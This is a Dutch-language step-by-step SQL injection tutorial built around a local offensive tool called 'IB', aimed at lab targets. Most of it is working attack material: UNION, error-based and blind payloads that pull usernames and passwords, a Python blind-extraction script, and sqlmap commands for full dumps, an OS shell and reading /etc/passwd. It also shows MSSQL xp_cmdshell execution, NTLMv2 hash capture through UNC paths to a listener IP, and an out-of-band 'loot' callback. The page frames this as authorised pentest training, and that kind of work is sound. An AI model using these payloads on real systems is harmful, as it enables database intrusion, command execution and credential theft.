SQL Injection Lab: Stap voor Stap
SQL injection (SQLi) is een van de meest voorkomende en gevaarlijke kwetsbaarheden in webapplicaties. Bij een SQL injection manipuleert een aanvaller de invoer van een applicatie om ongeautoriseerde SQL-queries uit te voeren op de achterliggende database. In deze tutorial doorlopen we stap voor stap hoe je UNION-based, error-based en blind SQL injection herkent en exploiteert binnen een gecontroleerde labomgeving.
Deze tutorial is uitsluitend bedoeld voor gebruik in geautoriseerde testomgevingen. Test nooit op systemen waarvoor je geen expliciete toestemming hebt.
Vereisten
- Een draaiende Incompetent Bastard (IB) instance op
http://127.0.0.1:5000 - Een kwetsbare doelapplicatie (bijv. DVWA, bWAPP of een eigen testapplicatie)
- Basiskennis van SQL (SELECT, WHERE, UNION, ORDER BY)
- Tools:
sqlmap,curl, een webbrowser met developer tools - Python 3 geinstalleerd (voor scripting)
IB – Open het SQLi dashboard via
http://127.0.0.1:5000/dashboard/sqli om alle uitgevoerde
injecties en hun responses bij te houden. Elk request dat je via
/sqli2/inject stuurt wordt automatisch gelogd.
Stap 1: Injectiepunten Detecteren
Het eerste doel is vaststellen welke parameters kwetsbaar zijn voor SQL injection.
Handmatige detectie
Voeg een enkel aanhalingsteken toe aan invoervelden of URL-parameters:
http://doelwit.lab/zoeken?id=1'
Let op foutmeldingen die wijzen op SQL-fouten:
You have an error in your SQL syntax(MySQL)Unclosed quotation mark(MSSQL)ERROR: syntax error at or near(PostgreSQL)
Boolean-based detectie
Test of de applicatie anders reageert op ware en onware condities:
http://doelwit.lab/zoeken?id=1 AND 1=1 -- zelfde resultaat
http://doelwit.lab/zoeken?id=1 AND 1=2 -- ander resultaat of leeg
Als de respons verschilt, is de parameter waarschijnlijk kwetsbaar.
Time-based detectie
Als er geen zichtbaar verschil is in de respons, gebruik dan tijdsvertragingen:
-- MySQL
1' AND SLEEP(5)--
-- MSSQL
1'; WAITFOR DELAY '0:0:5'--
-- PostgreSQL
1'; SELECT pg_sleep(5)--Meet de responstijd. Een vertraging van 5 seconden bevestigt de kwetsbaarheid.
Stap 2: UNION-based SQL Injection
UNION-based injection werkt wanneer de resultaten van je query zichtbaar zijn in de pagina.
Aantal kolommen bepalen
Gebruik ORDER BY om het aantal kolommen in de originele
query te achterhalen:
http://doelwit.lab/zoeken?id=1 ORDER BY 1-- (OK)
http://doelwit.lab/zoeken?id=1 ORDER BY 2-- (OK)
http://doelwit.lab/zoeken?id=1 ORDER BY 3-- (OK)
http://doelwit.lab/zoeken?id=1 ORDER BY 4-- (FOUT)
In dit voorbeeld zijn er 3 kolommen.
Zichtbare kolommen identificeren
http://doelwit.lab/zoeken?id=-1 UNION SELECT 1,2,3--
De nummers die op de pagina verschijnen zijn de kolommen waar je data kunt extraheren.
Database-informatie ophalen
-- MySQL: versie en huidige database
-1 UNION SELECT 1,version(),database()--
-- Alle databases tonen
-1 UNION SELECT 1,schema_name,3 FROM information_schema.schemata--
-- Tabellen in een specifieke database
-1 UNION SELECT 1,table_name,3 FROM information_schema.tables WHERE table_schema='doeldb'--
-- Kolommen in een tabel
-1 UNION SELECT 1,column_name,3 FROM information_schema.columns WHERE table_name='gebruikers'--
-- Data extraheren
-1 UNION SELECT 1,gebruikersnaam,wachtwoord FROM gebruikers--IB – Gebruik het IB SQLi inject-endpoint om payloads
te versturen en de responses automatisch te loggen:
curl "http://127.0.0.1:5000/sqli2/inject?url=http://doelwit.lab/zoeken¶m=id&payload=-1 UNION SELECT 1,version(),3--"
Stap 3: Error-based SQL Injection
Bij error-based injection haal je data uit foutmeldingen die de database teruggeeft.
MySQL: extractvalue / updatexml
-- Versie ophalen via foutmelding
1' AND extractvalue(1,concat(0x7e,(SELECT version()),0x7e))--
-- Gebruiker ophalen
1' AND updatexml(1,concat(0x7e,(SELECT user()),0x7e),1)--
-- Data uit tabel
1' AND extractvalue(1,concat(0x7e,(SELECT wachtwoord FROM gebruikers LIMIT 0,1),0x7e))--MSSQL: CONVERT-fouten
-- Versie via type-conversiefout
1' AND 1=CONVERT(int,(SELECT @@version))--
-- Databasenaam
1' AND 1=CONVERT(int,(SELECT DB_NAME()))--PostgreSQL: CAST-fouten
-- Versie ophalen
1' AND 1=CAST((SELECT version()) AS int)--Stap 4: Blind SQL Injection
Bij blind injection krijg je geen directe output. Je leidt informatie af uit het gedrag van de applicatie.
Boolean-based blind
Stel vragen aan de database die waar of onwaar zijn:
-- Is het eerste karakter van de databasenaam 'd'?
1' AND (SELECT SUBSTRING(database(),1,1))='d'--
-- Binair zoeken op ASCII-waarde
1' AND ASCII(SUBSTRING(database(),1,1))>100--
1' AND ASCII(SUBSTRING(database(),1,1))>110--
1' AND ASCII(SUBSTRING(database(),1,1))=108--Automatiseren met Python
import requests
url = "http://doelwit.lab/zoeken"
result = ""
for positie in range(1, 30):
laag, hoog = 32, 126
while laag <= hoog:
midden = (laag + hoog) // 2
payload = f"1' AND ASCII(SUBSTRING(database(),{positie},1))>{midden}--"
r = requests.get(url, params={"id": payload})
if "resultaat gevonden" in r.text:
laag = midden + 1
else:
hoog = midden - 1
if laag > 126:
break
result += chr(laag)
print(f"[+] Tot nu toe: {result}")
print(f"[+] Database naam: {result}")Time-based blind
Wanneer er geen verschil is in de respons, gebruik dan vertragingen:
-- MySQL
1' AND IF(SUBSTRING(database(),1,1)='d',SLEEP(3),0)--
-- MSSQL
1'; IF (SUBSTRING(DB_NAME(),1,1)='m') WAITFOR DELAY '0:0:3'--IB – Het IB callback-endpoint
/sqli2/callback kan gebruikt worden als out-of-band kanaal.
De database stuurt resultaten naar IB, die ze opslaat in
raw/loot/{ip}/sqli/.
Stap 5: SQLmap Gebruiken
sqlmap automatiseert het detecteren en exploiteren van SQL injection.
Basis scan
# Detecteer en exploiteer automatisch
sqlmap -u "http://doelwit.lab/zoeken?id=1" --batch
# Met specifieke techniek
sqlmap -u "http://doelwit.lab/zoeken?id=1" --technique=U --batch
# POST-parameter
sqlmap -u "http://doelwit.lab/login" --data="gebruiker=admin&wachtwoord=test" -p wachtwoord --batchData extraheren
# Databases tonen
sqlmap -u "http://doelwit.lab/zoeken?id=1" --dbs --batch
# Tabellen in een database
sqlmap -u "http://doelwit.lab/zoeken?id=1" -D doeldb --tables --batch
# Kolommen tonen
sqlmap -u "http://doelwit.lab/zoeken?id=1" -D doeldb -T gebruikers --columns --batch
# Alle data dumpen
sqlmap -u "http://doelwit.lab/zoeken?id=1" -D doeldb -T gebruikers --dump --batchGeavanceerde sqlmap opties
# OS shell via SQL injection (als je voldoende rechten hebt)
sqlmap -u "http://doelwit.lab/zoeken?id=1" --os-shell --batch
# Bestandslezen
sqlmap -u "http://doelwit.lab/zoeken?id=1" --file-read="/etc/passwd" --batch
# Tamper scripts voor WAF-bypass
sqlmap -u "http://doelwit.lab/zoeken?id=1" --tamper=space2comment,between --batch
# Proxy via Burp
sqlmap -u "http://doelwit.lab/zoeken?id=1" --proxy="http://127.0.0.1:8080" --batchStap 6: MSSQL Specifieke Technieken
IB bevat uitgebreide ondersteuning voor MSSQL aanvallen.
xp_cmdshell
# Via IB endpoint
curl -X POST http://127.0.0.1:5000/sqli2/mssql/xpcmdshell \
-H "Content-Type: application/json" \
-d '{"url":"http://doelwit.lab/zoeken","param":"id","command":"whoami","enable":true}'Dit activeert xp_cmdshell en voert het commando uit.
Linked Server Verkenning
# Ontdek linked servers
curl -X POST http://127.0.0.1:5000/sqli2/mssql/links/discover \
-H "Content-Type: application/json" \
-d '{"url":"http://doelwit.lab/zoeken","param":"id"}'
# Keten-exploratie via OPENQUERY
curl -X POST http://127.0.0.1:5000/sqli2/mssql/links/crawl \
-H "Content-Type: application/json" \
-d '{"url":"http://doelwit.lab/zoeken","param":"id","chain":["SRV02","SRV03"],"query":"SELECT @@servername"}'UNC Path Injection
# Vang NTLMv2 hashes via Responder
curl -X POST http://127.0.0.1:5000/sqli2/mssql/unc \
-H "Content-Type: application/json" \
-d '{"url":"http://doelwit.lab/zoeken","param":"id","listener_ip":"10.10.14.5","technique":"dirtree"}'IB – Het cheatsheet-endpoint
/api/sqli/cheatsheet geeft een compleet overzicht van
SQLi-payloads per database-engine (MSSQL, MySQL, PostgreSQL,
Oracle).
Stap 7: Second-Order SQL Injection
Bij second-order injection wordt de payload eerst opgeslagen en later geactiveerd.
# Stap 1: Payload opslaan
curl -X POST http://127.0.0.1:5000/sqli2/secondorder/store \
-H "Content-Type: application/json" \
-d '{"label":"registratie","url":"http://doelwit.lab/registreer","param":"gebruikersnaam","payload":"admin'\'' OR 1=1--"}'
# Stap 2: Payload triggeren
curl -X POST http://127.0.0.1:5000/sqli2/secondorder/trigger \
-H "Content-Type: application/json" \
-d '{"store_id":1,"url":"http://doelwit.lab/profiel"}'
# Stap 3: Resultaat verifieren
curl "http://127.0.0.1:5000/sqli2/secondorder/verify/1?url=http://doelwit.lab/profiel"Veelgemaakte Fouten
- Vergeten commentaar toe te voegen: Sluit je payload
altijd af met
--of#om de rest van de query te negeren. - Verkeerd aantal kolommen bij UNION: Gebruik altijd eerst ORDER BY om het exacte aantal te bepalen.
- Niet escapen in URL: Gebruik
%27voor'en%20voor spaties in URL-parameters. - WAF niet herkennen: Als je payloads geblokkeerd worden, probeer encoding of tamper scripts.
Samenvatting
In deze tutorial heb je geleerd hoe je SQL injection-kwetsbaarheden detecteert en exploiteert:
- Detectie – Gebruik handmatige tests met aanhalingstekens, boolean-condities en tijdsvertragingen om injectiepunten te vinden.
- UNION-based – Extraheer data door een UNION SELECT toe te voegen aan de originele query.
- Error-based – Leid data af uit foutmeldingen van de database-engine.
- Blind injection – Stel binaire vragen aan de database wanneer er geen directe output is.
- sqlmap – Automatiseer detectie en exploitatie voor grotere scans.
- MSSQL – Gebruik xp_cmdshell, linked servers en UNC paths voor geavanceerde aanvallen.
Onthoud dat je altijd werkt met expliciete toestemming en binnen de afgesproken scope. Documenteer elke stap in het IB SQLi dashboard voor je rapportage.